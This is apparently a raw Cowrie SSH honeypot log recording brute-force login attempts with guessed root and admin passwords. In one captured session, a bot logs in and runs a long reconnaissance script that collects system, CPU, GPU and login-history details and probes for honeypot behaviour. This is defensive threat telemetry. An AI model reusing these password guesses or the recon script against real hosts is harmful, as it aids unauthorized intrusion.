{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:d5:cc:b7:71:ac:76:df:0a:ca:66:27:9c:b0:4c:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvUd/ZOkvsbY05wVY+K1fL3lD9Cgk4zLKXDZIQqTH+lVoUGRAtn88peI97fqSdARuMQT3s0Fcj0roSdOf259SCECKy/Qu6xyUY0Dn42ollgEBuXAElDbsf5lAlDz8zLJfgnLeOvrnj6gXQLmu/i44iDDjgPlwsf69xlRRA1Qi96N3HEQStI614sFwxtL2aPjUlCD2AxyKyKaRy02+b6Reul23EKpAI3mD1ctTGoU4dGqA1TAeZO9eVA7AgqdRC5C/1wykAI0NXR9gpjhPkWlw7qwP4JV7gWHcTxCrXwENFMO7md4Vug2Eyu6qg5oPysijuuJxMYAGDhaSyaO6f3lDp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:49.813273Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.239.202","src_port":56866,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7e956dc3ddf","protocol":"ssh","message":"New connection: 162.241.239.202:56866 (159.203.135.109:22) [session: c7e956dc3ddf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.557561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.560371Z","src_ip":"162.241.239.202","session":"c7e956dc3ddf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.587098Z","src_ip":"162.241.239.202","session":"c7e956dc3ddf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starknet123","message":"login attempt [root/starknet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.670737Z","src_ip":"162.241.239.202","session":"c7e956dc3ddf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":47258,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bab947d128d","protocol":"ssh","message":"New connection: 173.236.247.120:47258 (159.203.135.109:22) [session: 0bab947d128d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.734695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.738977Z","src_ip":"173.236.247.120","session":"0bab947d128d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.747906Z","src_ip":"173.236.247.120","session":"0bab947d128d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"G@t3!0#Tr0ng@P@ss","message":"login attempt [root/G@t3!0#Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:58.780901Z","src_ip":"173.236.247.120","session":"0bab947d128d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:59.445628Z","src_ip":"139.19.117.129","session":"db6bdfec14bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:59.700092Z","src_ip":"162.241.239.202","session":"c7e956dc3ddf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:27:59.793634Z","src_ip":"173.236.247.120","session":"0bab947d128d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":42712,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3f2bf392690","protocol":"ssh","message":"New connection: 91.92.40.176:42712 (10.17.0.5:22) [session: b3f2bf392690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:16.422405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:16.425945Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:16.507990Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator","message":"login attempt [admin/administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:16.759688Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.227209Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.229627Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.233339Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.236021Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.238457Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.241457Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.243165Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.245053Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.247159Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.250543Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.252859Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.362501Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:17.445493Z","src_ip":"91.92.40.176","session":"b3f2bf392690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":43122,"dst_ip":"159.203.135.109","dst_port":22,"session":"916b11904a16","protocol":"ssh","message":"New connection: 87.251.79.125:43122 (159.203.135.109:22) [session: 916b11904a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:42.090600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:42.094091Z","src_ip":"87.251.79.125","session":"916b11904a16","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:42.164220Z","src_ip":"87.251.79.125","session":"916b11904a16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vadik123","message":"login attempt [root/vadik123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:42.376082Z","src_ip":"87.251.79.125","session":"916b11904a16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:28:43.449111Z","src_ip":"87.251.79.125","session":"916b11904a16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":42222,"dst_ip":"159.203.135.109","dst_port":22,"session":"80bf2eaa08fb","protocol":"ssh","message":"New connection: 194.113.233.25:42222 (159.203.135.109:22) [session: 80bf2eaa08fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:11.324027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:11.328061Z","src_ip":"194.113.233.25","session":"80bf2eaa08fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:11.420965Z","src_ip":"194.113.233.25","session":"80bf2eaa08fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"29041980","message":"login attempt [root/29041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:11.697592Z","src_ip":"194.113.233.25","session":"80bf2eaa08fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:12.789046Z","src_ip":"194.113.233.25","session":"80bf2eaa08fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":32896,"dst_ip":"159.203.135.109","dst_port":22,"session":"f40532e42461","protocol":"ssh","message":"New connection: 143.20.185.207:32896 (159.203.135.109:22) [session: f40532e42461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:14.980477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:29:14.983905Z","src_ip":"143.20.185.207","session":"f40532e42461","protocol":"ssh"}
